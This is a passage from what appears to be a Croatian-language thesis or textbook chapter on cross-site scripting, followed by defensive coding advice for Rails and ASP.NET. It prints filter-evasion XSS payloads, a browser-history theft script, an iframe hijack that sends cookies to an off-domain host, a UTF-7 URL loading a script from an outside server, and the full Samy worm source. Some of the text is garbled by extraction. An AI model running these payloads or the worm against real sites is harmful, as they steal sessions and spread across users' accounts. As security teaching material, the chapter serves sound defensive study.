<img onerror=eval(‘al\u0065rt(1)’) src=a>

<img

onerror=eval('al\u0065rt(1)&#x

27;) src=a>

Kao što se može vidjeti iz primjera, svaki napadački niz se može napisati na vrlo mnogo

različitih načina, sve s ciljem kako bi se zaobišao filtar i kako bi se željeni rezultat prikazao

unutar web preglednika. Također za zaobilaženje filtra mogu se koristiti različiti setovi

zakova. Više o tome u nastavku.

66

Lista Eventhandlera

koje je moguće

iskoristiti u ovakvim

slučajevima:

0. FSCommand()

1. onAbort()

2. onActivate()

3. onAfterPrint()

4. onAfterUpdate()

5. onBeforeActivate()

6. onBeforeCopy()

7. onBeforeCut()

8. onBeforeDeactivate(

)

9. onBeforeEditFocus()

10. onBeforePaste() 11. onBeforePrint() 12. onBeforeUnload() 13. onBeforeUpdate() 14. onBegin() 15. onBlur() 16. onBounce() 17. onCellChange() 18. onChange() 19. onClick() 20. onContextMenu() 21. onControlSelect() 22. onCopy() 23. onCut() 24. onDataAvailable() 25. onDataSetChanged() 26. onDataSetComplete() 27. onDblClick() 28. onDeactivate() 29. onDrag() 30. onDragEnd() 31. onDragLeave() 32. onDragEnter() 33. onDragOver() 34. onDragDrop() 35. onDragStart() 36. onDrop() 37. onEnd() 38. onError() 39. onErrorUpdate() 40. onFilterChange() 41. onFinish()

66

Izvor: http://owasp

42. onFocus() 43. onFocusIn() 44. onFocusOut() 45. onHashChange() 46. onHelp() 47. onInput() 48. onKeyDown() 49. onKeyPress() 50. onKeyUp() 51. onLayoutComplete() 52. onLoad() 53. onLoseCapture() 54. onMediaComplete() 55. onMediaError() 56. onMessage() 57. onMouseDown() 58. onMouseEnter() 59. onMouseLeave() 60. onMouseMove() 61. onMouseOut() 62. onMouseOver() 63. onMouseUp() 64. onMouseWheel() 65. onMove() 66. onMoveEnd() 67. onMoveStart() 68. onOffline() 69. onOnline() 70. onOutOfSync() 71. onPaste() 72. onPause() 73. onPopState() 74. onProgress() 75. onPropertyChange() 76. onReadyStateChange(

)

77. onRedo() 78. onRepeat() 79. onReset() 80. onResize() 81. onResizeEnd() 82. onResizeStart() 83. onResume() 84. onReverse() 85. onRowsEnter() 86. onRowExit() 87. onRowDelete() 88. onRowInserted() 89. onScroll() 90. onSeek() 91. onSelect() 92. onSelectionChange() 93. onSelectStart() 94. onStart() ( 95. onStop()

96. onStorage() 97. onSyncRestored() 98. onSubmit() 100. onTimeError()

101. onTrackChange()

102. onUndo()

103. onUnload()

104. onURLFlip()

105. seekSegmentTime()

83

Svaki od njih je moguće iskoristiti ovisno o kontekstu i mjestu gdje se kod može ubaciti.

Osim String.fromCharCode() funkcije mogu se koristiti sljedeći HTML entiteti kako bi se uštedio

na duljini i mjestu.

w

Tabela 1:HTML kodiranje

Entitet Prikazani entitet

" “

' ‘

< <

> >

& & Ž

Primjer: <IMG SRC=javascript:alert("XSS")>y Naravno kod napada mogu se u cijelosti koristiti samo decimalni ekvivalenti ASCII znakova:

<IMG

SRC=javascript:al&#

101;

rt('XSS')>

Neki programeri misle ako su zasutavili uglate zagrade i navodnike da su zaustavili sve

napade. XSS se pouzdaje u web preglednik, odnosno ako preglednik može razumjeti druge

vrste metoda kodiranja dolazi se do situacije gdje će preglednik izvršiti naredbu bez ijednog

od tih znakova.

Npr, jedan običan niz kao što je <script>alert(document.cookie)</script>

U drugim bi setovima znakova izgledao sasvim drugačije:

UTF-7 +ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-

US-ASCII BC 73 63 72 69 70 74 BE 61 6C 65 72 74 28 64 6F ; ¼script¾alert(do

63 75 6D 65 6E 74 2E 63 6F 6F 6B 69 65 29 BC 2F ; cument.cookie)¼/

73 63 72 69 70 74 BE ; script¾

UTF-16

FF FE 3C 00 73 00 63 00 72 00 69 00 70 00 74 00 ; ÿþ<.s.c.r.i.p.t.

3E 00 61 00 6C 00 65 00 72 00 74 00 28 00 64 00 ; >.a.l.e.r.t.(.d.

6F 00 63 00 75 00 6D 00 65 00 6E 00 74 00 2E 00 ; o.c.u.m.e.n.t...

63 00 6F 00 6F 00 6B 00 69 00 65 00 29 00 3C 00 ; c.o.o.k.i.e.).<.

2F 00 73 00 63 00 72 00 69 00 70 00 74 00 3E 00 ; /.s.c.r.i.p.t.>.

Kod ovakvih pokušaja zaobilaženja filtra, najvažnije je saznati koji set znakova koristi aplikacija. Ako

aplikacija koristi višebajtni set znakova kao što je SHIFT-JIS napadač će moći zaobići filtar

korištenjem znakova koji imaju specijalno značenje unutar znakovnog set-a koji se koristi. Npr ako se

84

od strane poslužitelja vrati sljedeći odgovor koji se sastoji od dva dijela podataka kojih je prije toga

unio korisnik:

<img src=”image.gif” alt=”[input1]” /> ... [input2]

Npr. neka aplikacija za unos1 blokira unesene podatke koji sadrže navodnike kako bi

spriječila napadača da ukine citirani atribut, a za unos2, aplikacija blokira unesene podatke

koji sadrže uglate zagrade kako bi se spriječilo korištenje bilo kakvih HTML tagova. Napadač

to može zaobići ako unese slijedeće podatke:

Unos1: [%f0]

Unos2: “onload=alert(1);

U Shift-JIS setu znakova, različite bajt vrijednosti, uključujući 0xf0 se koriste za označavanje

2-bajtnog znaka koji je sastavljen od tog bajta i sljedećeg bajta. Npr. kada web preglednik

obrađuje unos1, znak navodnika kojeg slijedi 0xf0 bajt je interpretiran kao dio 2-bajtnog

znaka i zbog toga ne ograničava vrijednost atributa. HTML parser nastavlja dok ne naiđe na

navodnik iz unosa2, koji poništava atribute, i na taj način dozvoljava da se napadačev event

handler interpretira kao dodatni atribut:

<img src=”slika.gif” alt=”? /> ... “onload=alert(1);

Kada su ove ranjivosti otkrivene u UTF-8 setu znakova, Većina web preglednika je dobila

adekvatnu zakrpu i takav napad koristeći UTF-8 set znakova više nije bio moguć. Međutim

još uvijek ovakav tip napada radi na nekim preglednicima koristeći neke druge manje poznate

setove znakova kao što su Shift-JIS, EUC-JP, i BIG5.

Zanimljiv primjer je Google propust gdje programeri nisu uzeli u obzir višestruke tipove

kodiranja zbog čega je Google jedno vrijeme bio ranjiv na XSS.

Primjer:

http://ask.stanford.edu/search?output=xml_no_dtd&client=stanford&pro

xystylesheet=stanford&site=stanfordit&oe=UTF-8&q=hi

Ovako slično je izgledao i Google-ov upit za pretraživanje. Može se vidjeti da tag oe=

dozvoljava promjenu kodiranja. Međutim ako se kodiranje iz primjera promjeni u UTF-7 te se

i napadački vektor napiše u tom kodrianju URL tada izgleda ovako:

http://ask.stanford.edu/search?output=xml_no_dtd&client=stanford&pro

xystylesheet=stanford&site=stanfordit&oe=UTF-7&q=%2BADwscript%

20src%2BAD0AIg-http%3A//ha.ckers.org/s.js%2BACIAPgA8-

/script%2BAD4-x

85

Jasno je da je efekt XSS niza u ovom slučaju samo privremen i samo utječe na korisnika koji

posjećuje taj URL, ali ovo lagano može stvoriti put za krađu identiteta (phishing).

Još jedna zanimljivost koju je otkrio Kurt Huwing koristeći US-ASCII kodiranje je da US-

ASCII kodiranje koristi 7 bitova umjesto 8, pa niz izgleda na sljedeći način:

?script?alert(¢XSS¢)?/script?

URL kodiran :

%BCscript%BEalert(%A2XSS%A2)%bC/script%BE

Područje XSS koje je još uvijek relativno novo i ne istraženo do kraja su kodiranje širine

varijabli. Pomoću nekih metoda kao što su BIG5, EUC-JP, EUC-KR, GB2312, i SHIFT_JIS

moguće je stvoriti više-bajtne znakove koji su zamišljeni da podržavaju internacionalne

setove znakova. Ti znakovi se tvore od jednog ili više drugih znakova. Vrlo je teško za

predvidjeti i znati kako će ih preglednik interpretirati.

Na primjer sljedeći niz radi samo u starijoj verziji Internet Explorera:

<IMG SRC="" ALT="XSSƒ">ABCD" onerror='alert("XSS")'>131<BR>

Slovo ƒ u GB2313 setu znakova(ASCII 131 u decimalnom sustavu)započinje višebajtni znak.

Sljedeći znak a to je navodnik završi kao drugi znak u nizu višebajtnog znaka. Na kraju se niz

pretvori u sljedeće:

<IMG SRC="" ALT="XSS[multibyte]>ABCD" onerror='XSS_ME("131")'>131<BR>

Navodnik se stapa sa prethodnim znakom i tvore neki višebajtni znak. Pošto je jedan navodnik nestao,

riječ više nije zatvorena navodnicima, javlja se greška i okida se onerror događaj.

Ovakvih kombinacija i varijanti ima vrlo mnogo. Kako web preglednici sve više napreduju tako se

lista varijanti smanjuje i sve je teže pronaći ovakav propust, međutim ne znači da on ne postoji.

86

7.6 METODE XSS NAPADA

Većina ljudi uopće nije ni svjesna mogućnosti XSS napada. Razumiju da javascript malware

može ukrasti cookie ili preusmjeriti korisnika na drugu stranicu. Takvi napadi su samo maleni

dio onoga što je sve moguće učiniti kada se dozvoli izvršavanje koda na pregledniku

korisnika. Malen bug u aplikaciji može završiti krađom povijesti pregledavanja unutar

preglednika ili krađom/otimanjem usmjernika (router-a).

7.6.1 Krađa povijesti pregledavanja web stranica-(History theft)

67

Krađom povijesti pregledavanja web stranica napadač automatski dobiva mnogo informacija

o žrtvi i njezinim navikama i interesima. To omogućuje napadaču da napada na drugim

područjima, otkrije što je sve osoba pretraživala, podvaljuje lažne forme i stranice onih

servisa i web stranica koje žrtva posjećuje, širenje web-crva, slanje SPAM-a na stranice gdje

žrtva ima autentificirani pristup.

JavaScript/CSS napad na povijest pregledavanja je vrlo efektivna brute-force metoda za

otkrivanje koje web stranice je žrtva posjetila.

Tehnika napada koristi različite boje za prikazivanje veza/linkova koje su posjećene.

Stvarajući dinamičke linkove, napadač može pomoću getComputed svojstva u JavaScriptu

izvući informacije o povijesti posjećivanja/pregledavanja. Ako je URL u plavoj boji tada nije

posjećen a ako je u ljubičastoj tada je.

Primjer skripte za jedan takav napad: <html>

<body> <H3>Visited</H3>

<ul id="visited"></ul> <script>

/* A short list of websites to loop through checking to see if the victim has been

there. Without noticeable performance overhead, testing couple of a couple thousand

URL's is possible within a few seconds. */

var websites = [

"http://ha.ckers.org",

"http://jeremiahgrossman.blogspot.com/",

"http://mail.google.com/",

"http://mail.yahoo.com/",

"http://www.e-gold.com/",

"http://www.amazon.com/",

"http://www.bankofamerica.com/",

"http://www.whitehatsec.com/",

"http://www.bofa.com/",

"http://www.citibank.com/",

"http://www.paypal.com/",

];

67


87

/* Loop through each URL */

for (var i = 0; i < websites.length; i++) {

/* create the new anchor tag with the appropriate URL information */

var link = document.createElement("a");

link.id = "id" + i;

link.href = websites[i];

link.innerHTML = websites[i];

/* create a custom style tag for the specific link. Set the CSS visited

selector to a known value, in this case red */

document.write('<style>');

document.write('#id' + i + ":visited {color: #FF0000;}");

document.write('</style>');

/* quickly add and remove the link from the DOM with enough time to save the

visible computed color. */

document.body.appendChild(link);

var color =

document.defaultView.getComputedStyle(link,null).getPropertyValue("color");

document.body.removeChild(link);

/* check to see if the link has been visited if the computed color is red */

if (color == "rgb(255, 0, 0)") { // visited

/* add the link to the visited list */

var item = document.createElement('li');

item.appendChild(link);

document.getElementById('visited').appendChild(item);

} else { // not visited

/* add the link to the not visited list */

var item = document.createElement('li');

item.appendChild(link);

document.getElementById('notvisited').appendChild(item);

} // end visited color check if

} // end URL loop

</script> <H3>Not Visited</H3>

<ul id="notvisited"></ul>

<body>

</html>

Skripta prolazi kroz listu web stranica i pomoću getComputedStyle i boje određuje da li je

web stranica posjećena ili nije.

Na vrlo sličan način ponekad je moguće napraviti i skriptu za pretraživanje ključnih riječi kod

pretraživanja.

7.6.2 Intranet hakiranje

68

Čak iako korisnik koristi vatrozid nije u potpunosti siguran. Ako korisnik klikne na neki link

pokreće ugrađeni maliciozni JavaScript kod koji preuzima kontrolu nad korisnikovim web

preglednikom. JavaScript malware ubacuje Java appllet koji otkriva žrtvinu unutarnju NAT IP

adresu. Tada koristeći žrtvin preglednik kao platformu, identificira i skupi informacije o Web

poslužitelju unutar intranet mreže.

Primjer skripte za početak jednog takvog napada, odnosno za preuzimanje kontrole nad web

preglednikom:

68


88

var iframe = document.createElement("iframe");ww.syngress.com

iframe.setAttribute("src", "/");

iframe.setAttribute("id", 'watched');

iframe.setAttribute("scrolling", "no");

iframe.setAttribute("frameBorder", "0");

iframe.setAttribute("OnLoad", "readViewPort()");

iframe.setAttribute("OnUnLoad", "");

iframe.style.border='0px';

iframe.style.left='0px';

iframe.style.top='0px';

iframe.style.width=(window.innerWidth - 20) + 'px';

iframe.style.height='2000px';

iframe.style.position='absolute';

iframe.style.visibility='visible';

iframe.style.zIndex='100000';

document.body.innerHTML = '';

document.body.appendChild(iframe);

Kod stvara nevidljiv okvir preko cijelog ekrana, tako kada korisnik klikne mijenja se samo

URL okvira a dretva kontrole od strane JavaScripta ostane. Jedini minus ovoj metodi je što sa

svakim klikom URL vrijednost unutar URL trake ostaje nepromijenjena pa korisnik može

lagano uočiti da nešto nije u redu. Svakim klikom poziva se readViewPort() metoda koja

prikuplja podatke i šalje ih van domene.

/* Read data in the view port */

function readViewPort() {

/* save object for the users monitored viewport */

var watched = document.getElementById(iframe_name);

/*

Check if the users view port url has changed

If it has, a new session needs to be created and/or the

data needs to be transfered.

*/

if (current_url != watched.contentWindow.location.href) {

/* save the current url of the users viewport */

current_url = watched.contentWindow.location.href;

/* save the current url of the users viewport */

/* data is base64 encoded to make it easier to transfer inside URL's

*/

var b64_url = base64_encode(current_url);

/* save the current cookies of the users viewport */

var b64_cookies = base64_encode(document.cookie);

/* Create a new session and transfer the current data off-doamin */

var img = new Image();

img.src = off_domain + 'session/' + sessionid + "/" + b64_url + "/" +

b64_ua + "/" + b64_cookies;

/* Send the HTML data off-domain */

sendDataOffDomain(watched.contentWindow.document.body.parentNode.innerHTML);

} else { // URL has not changed. Poll the server

var script_tag = document.createElement("script");

script_tag.setAttribute("src", off_domain + "poll/" + sessionid);

document.body.appendChild(script_tag);

}

/* Loop the function and set a timeout for polling */

setTimeout("readViewPort(sessionid);",5000);

return;

} // end readViewPort

Ne tako davno, Ministrastvo unutarnjih poslova Republike Hrvatske je izdalo upozorenje za

malware koji radi sličnu stvar. Prvo preuzme kontrolu nad web preglednikom pa onda i nad

računalom odnosno korisničkim računom. Jedino što korisnik može napraviti je ručno ugasiti

89

računalo . Za njegovo otklanjanje potrebno se prjaviti kao administrator računala i ukloniti

malware pomoću nekog alata za otklanjanje malware-a.

XSS napad se može iskoristiti za mijenjanje izgleda i sadržaja stranice zbunjujući tako

korisnike. Takav napad brzo može utjecati na pojavu napada koji uključuju krađu identiteta

(phishing).

7.7 Napredni XSS vektori

7.7.1 Napadi na DNS 69

DNS napadi su se sastojali od toga da napadač koji ima vlastiti web poslužitelj i DNS

poslužitelj postavi TTL vrijednost svog DNS poslužitelja na 1 sekundu, i kada bi se žrtva

prevarom spojila na napadačev poslužitelj izvršila bi se skripta koja bi tražila od žrtvinog

preglednika ponovno spajanje za 2 sekunde. Pošto to nije moguće jer IP napadačevog

poslužitelja više nije validan, napadačev DNS odgovara sa nekom drugom IP adresom na koju

se preglednik spaja. Ono što je interesantno je da se u zaglavlju koje preglednik šalje ne nalazi

originalan cookie i Host zaglavlje još uvijek pokazuje na stranicu napadača. Preglednik još

uvijek vjeruje da je spojen na web stranicu napadača makar se spaja na neku drugu IP adresu.

Da bi se preglednik vratio u normalnu potrebno ga je ugasiti i ponovno upaliti.

Međutim ovakvi napadi danas više nisu toliko aktivni niti popularni, što zbog naprednijih i

pametnijih web preglednika što zbog toga što sami po sebi nisu zanimljivi napadačima kada

ne nanose neku veći štetu.

IMAP3

Firefox web preglednik ne dopušta korisnicima da se spajaju na neke portove. Međutim,

barem u starijoj verziji Firefox-a, spajanje na IMAP3 port je bilo dopušteno.

Protokoli temeljeni na ASCII često mogu komunicirati međusobno sve dok ne uzrokuju

greške. U tom slučaju IMAP3 može odgovoriti greškama koje HTTP nekako može prepoznati

i iskoristiti kao napadačevu prednost.

69


90

7.8 XSS crvi (WORMS) i trojani

7.8.1 Vrste XSS crva

70

XSS Warhol crv

Ovaj tip crva je konceptualan dio malware-a koji može zaraziti vrlo velik broj računala koja

su spojena na Internet u vrlo kratkom roku. Međutim u današnje vrijeme to više nije tako

često zahvaljujući sve većoj raznolikosti web preglednika, operacijskih sustava koji se koriste

na Internetu. Da bi se crv proširio na velik broj korisnika trebao bi postojati na svakom tipu

sustava.

71

Linearni XSS crv

XSS napadi se mogu lagano zajedno povezati preko više stranica i domena putem

JavaScripta. Linearni XSS crv ilustrira kako jedna ranjiva stranica može biti iskorištena da

napadne drugu stranicu, koja će opet napasti treću stranicu itd. To može funkcionirati tako

dugo dok napadač to želi ili dok mu ne nestane ranjivih stranica.

Crv se može vrlo lagano širiti od stranice do stranice, pronalaziti ranjivosti u stranicama i

iskorištavati ranjivosti točno onako kako napadač to želi.

Jedan od najpoznatijih XSS crva svih vremena bio je Samy. Samy Kamkar je 04.10.2005

napravio i pustio crva. Ono što je započelo kao šala završilo je na taj način da su stranice

najvećih svjetskih društvenih mreža morale biti ugašene. Sve ja započelo tako da je Samy

želio promijeniti statusni text svog MySpace profila iz „In a realtionship“ u neki po svom

izboru kako bi to ispala kao šala pred njegovom djevojkom. Čak i u to vrijeme pronalaženje

načina kako to napraviti nije bilo nimalo lako. Da bi ubrzao proces pronalaženja nekog bug-a

unutar myspace-a Samy je napravio HTML fuzzer i otkrio da ako se ubaci znak koji označava

novu liniju unutar JavaScript direktive još uvijek će se renderirati u nekim preglednicima:

<div id="mycode" expr="alert('hah!')" style="background:url('java

script:eval(document.all.mycode.expr)')">

MySpace je imao filtraciju navodnika, međutim Samy je upotrijebio String.fromCharCode

funkciju: <div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))"

style="background:url('java

script:eval(document.all.mycode.expr)')">

70

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str. 395 71


91

MySpace je također filtrirao i innerHTML a ta funkcija je Samy-iju bila potrebna za

pronalaženje korisničkog imena osobe koja gleda stranicu. To je zaobišao korsiteći eval i

spajajući nizove znakova: alert(eval('document.body.inne' + 'rHTML'));

Nakon toga potreban je bio event handler koje je MySpace također filtrirao. To je isto tako

zaobišao pomoću eval izraza:

eval('xmlhttp.onread' + 'ystatechange = callback');

Ukratko, crv je krao informacije o trenutnoj žrtvi, otkrivao tko je na njihovoj „hero“ listi,

prepravio tu informaciju, i ubacio crva u stranicu tako da sljedeća osoba koja će gledati taj

profil će isto biti zaražena crvom.

Cijeli izvorni kod crva se može vidjeti u nastavku:

<div id=mycode style="BACKGROUND: url('java

script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var

A=String.fromCharCode(39);function g(){var C;try{var

D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return

eval('document.body.inne'+'rHTML')}}function

getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function

getQueryParams(){var E=document.location.search;var

F=E.substring(1,E.length).split('&');var AS=new Array();for(var

O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var

AS=getQueryParams();var L=AS['Mytoken'];var

M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='htt

p://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}mai

n()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function

nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in

AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-

1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-

1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function

httpSend(BH,BI,BJ,BK){if(!J){return

false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setReq

uestHeader('Content-Type','application/x-www-formurlencoded');

J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return

true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var

S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function

getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function

getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var

V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var

Y=W.substring(0,X);return Y}function getXMLObj(){var

Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else

if(window.ActiveXObject){try{Z=new

ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new

ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var

AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var

AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var

AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+

A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function

getHome(){if(J.readyState!=4){return}var

AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.leng

th);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var

AS=new

Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=get

XMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postH

ero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var

AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new

Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['ha

sh']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processIn

terests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var

AN=getClientFID();var

BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj()

;httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=i

nvite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function

92

processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var

AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new

Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to

Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,not

hing,'POST',paramsToString(AS))}function

httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return

false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='P

OST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-formurlencoded');

xmlhttp2.setRequestHeader('Content-

Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

Samy nije imao pojma da će se crv tako brzo širiti, niti da MySpace ima tako velik broj

korisnika. Zbog toga ga nije mogao ugasiti niti kontrolirati.

Sljedeća tablica prikazuje brzinu širenja crva:

Tabela 272:Širenje Samy myspace crva

Procjenjeno vrijeme Procjenjen broj zaraženih korisnika

12:35PM 10/4/2005 (početak virusa) 0 (početni broj) 1:30AM 10/5/2005 1 8:35AM 10/5/2005 222 9:30AM 10/5/2005 481 10:30AM 10/5/2005 1006 1:30PM 10/5/2005 8803 6:20PM 10/5/2005 919514 6:24PM 10/5/2005 1008261 7:05PM 10/5/2005 MySpace se gasi

7.8.2 XSS trojani

73Ovaj tip napada je mnogo ozbiljniji od mijenjanja izgleda stranice, on unutar ranjive

aplikacije ubacuje neku funkcionalnost. Namjera je da se korisnici zavaraju kako bi napravili

neke neprimjerene akcije kao što su unošenje osjetljivih podataka koji se tada prenose

napadaču. Ako je napad dobro izveden, napad može odraditi dio funkcionalnosti kao što je

prijava korisnika na sustav kako bi se teže otkrio. Vrlo dobro se uklapa u phishing tipove

napada kod kojih se korisnicima daje URL sa autentičnom aplikacijom.

72



93

Slika 4:Google Phishing-Trojan

94

8 Obrana od SQLi XSS u praksi

U sljedećim primjerima su pokazane neke sigurne i neizostavne metode web programiranja

kroz modul prijave i registracije korisnika, kroz nekoliko različitih popularnih programskih

jezika koje štite od SQLi i XSS napada. Svaki od programskih jezika u pozadini ima

drugačiju bazu podataka, odnosno onu koja se najčešće uz taj programski jezik koristi.

Uz Ruby on Rails se najčešće koristi Postgresql baza podataka.

Uz Javu se najčešće koristi Oracle baza podataka.

Uz PHP se najčešće koristi MySQL baza podataka.

Uz C#/ASP.NET se najčešće koristi MS SQL baza podataka.

8.1 RUBY on RAILS RUBY on RAILS je web framework temeljen na Ruby jeziku.

Ruby je dinamički, objektno orijentirani svestrani jezik, koji je nov i postaje sve popularniji.

Vrlo često se koristi u kombinaciji sa Postgresql bazom podataka.

Ruby on Rails ili skraćeno Rails je dosta sličan ASP.NET MVC frameworku. Također koristi

MVC arhitekturu, te ponekad čak i sintaksom podsjeća na ASP.NET. Ima mnogo ugrađenih

sigurnih metoda i rješenja za rukovanje sa podacima.

Ruby on Rails ima svoj vlastiti ugrađeni filter sa specijalne SQL znakove, koji će prepoznati

',“,NULL znak i prelazak u novi red (line break). Koristeći Model.find(id ) ili

Model.find_by_nešto(nešto) automatski se izvršavaju te ugrađene protumjere. Kod nekih

dijelova SQL-a, najviše kod uvjeta WHERE, connection.execute() ili Model.find_by_sql()

metode se moraju primijeniti ručno. U biti izvodi se parametriziranje. Umjesto da se

proslijede znakovni nizovi u uvjet, prosljeđuje se polje saniranih znakova:

Model.where("login = ? AND password = ?", entered_user_name,

entered_password).first

Od verzije Rails 3.0 pa nadalje počinje se koristiti Active Record. Active Record je objektno-

relacijsko mapiranje za Rails. Olakšava i automatizira rad sa baza podataka. Osim toga nudi

sigurnost i zaštitu od SQLi i XSS napada.

95

Osim toga unutar Rails-a postoje još mnoge druge metode koje mogu poslužiti za obranu od

napada, ali najviše se preporuča korištenje Active Recorda, jer je najsigurnije.

Ostale metode koje se mogu koristiti:

strip_tags() - ovo će ukloniti tagove i uglate zagrade. Valja biti oprezan!

strip_tags("neka<<b>script>alert('XSS')<</b>/script>") vraća

"neka<script>alert('XSS')</script>"

escapeHTML() skraćeno se može koristiti alias h() zamjenjuje znakove &,'',<,> sa

reprezentacijom tih znakova u HTML-u: &, &auot;, <, i > Glavni nedostatak ove

metode je što se mora koristiti za svako polje posebno, i programeri mogu to lagano

zaboraviti svaki puta staviti alias h. Drugi veliki nedostatak je da iako će text biti zamijenjen

za reprezentacijom u HTML-u još uvijek to ne sprečava da se takav unos pohrani u bazu

podataka.

Preporuča se korištenje SafeErb ili XSS_terminate plugin-ova.

Puno bolji pristup je korištenje sanitize() metode, koja dozvoljava specificiranje koji html

tagovi se mogu koristiti. Štiti od XSS napada je u potpunosti uklanja JavaScript kod. Najčešće

se koristi za izradu „bijelih lista“ odnosno lista sa dozvoljenim elementima.

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br

cite sub sup ins p)

s = sanitize(user_input, tags: tags, attributes: %w(href title))

Niti ova metoda nije 100% sigurna, moguće je napravljen filtar zaobići sa eval() metodom jer

se unutar nje može sakriti npr. riječ innerHTML:

alert(eval('document.body.inne' + 'rHTML'));

Stoga, radije se preporuča korištenje plugin-ova kao što su html5lib, Sanitize ili Loofah.

html_safe i raw() metode su vrlo slične, provjeravaju da li je znakovni niz siguran za prikaz

kao HTML.

Strong metoda u Aplication Helepr-u uklanja <strong> tag.

Kod izrade formi, preporuča se uvijek koristiti form helper unutar Rails-a kao što je

primjerice form_for i sl. kako bi se smanjila mogućnost CSRF napada.

Za enkripciju lozinki unutar tablice u bazi podataka koristi se bcrypt-ruby gem.

Potrebno je u gem datoteku nadodati sljedeću liniju koda:

gem 'bcrypt-ruby', :require=>'bcrypt'.

96

Sljedeća slika prikazuje uporabu bcrypt-a za sažimanje lozinke kod autentifikacije:

Slika 5:Ruby bcrypt uporaba

Sljedeća slika prikazuje korištenje form_for metode, koja uzima Active Record objekt i

konstruira formu koristeći atribute tog objekta.

Slika 6: Korištenje form_for metode

97

Sljedeća slika prikazuje korištenje link_to metode. Potrebno je napomenuti da kod korištenja

link_to, nije potrebno koristiti i h alias za saniranje, jer Rails već to obavlja automatski.

Međutim čak iako se napiše i jedno i drugo, Rails mehanizam je pametan i neće dva puta

napraviti saniranje.

Slika 7: Korištenje link_to i h aliasa

Na sljedećoj slici prikazano je zaštita od CSRF napada korištenjem protect_from_forgery.

Ova opcija daje svakoj napravljenoj formi sakriveno id polje.

Slika 8:Zaštita od CSRF u Rails-u

Pravilno korištenje Active Recorda unutar ruby on rails 3 nadalje štiti i od XSS i od SQL

injection-a.

98

8.2 C#/ASP.NET

ASP.NET MVC je vrlo popularna razvojna okolina za razvoj web tehnologija po MVC

uzorku. Temelji se na ASP.NET-u i C# programskim jezicima.

Najčešća greška kod ASP.NET programera što pišu dinamički SQL kako bi izvršili neke

operacije nad bazom podataka.

Za obranu od SQLi u ASP.NET MVC-u potrebno je sljedeće:

1. koristiti pohranjene procedure (ne koristiti ili dodavati dinamički SQL unutar

pohranjene procedure, ako se koristi potrebno je koristiti sp_executesql jer

može primiti parametriziran upit).

2. koristiti parametrizirane upite

3. koristiti ORM npr. entity framework koji u svojoj pozadini također koristi

parametrizirane upite

Za obranu od XSS napada ASP.NET MVC4 dolazi sa već ugrađenom podrškom za saniranje

HTML-a i XSS bibliotekama.

Slika 9:Biblioteke koje ako se pravilno koriste nude vrlo dobru zaštitu.

Funkcije i metode koje nude zaštitu od XSS-a i CSRF-a:

Sanitizer.GetSafeHtml(..) - ova metoda se koristi za saniranje HTML elemenata, i

uklanja sve JavaScript kodove koji bi se mogli zvršiti, te još i formatira HTML

ValidateAntiForgeryToken - služi samo kao zaštita od CSRF. Ne štiti od XSS-a i treba se

koristiti u paru sa ANtiXSS bibliotekom i HtmlSanitization bibliotekom.

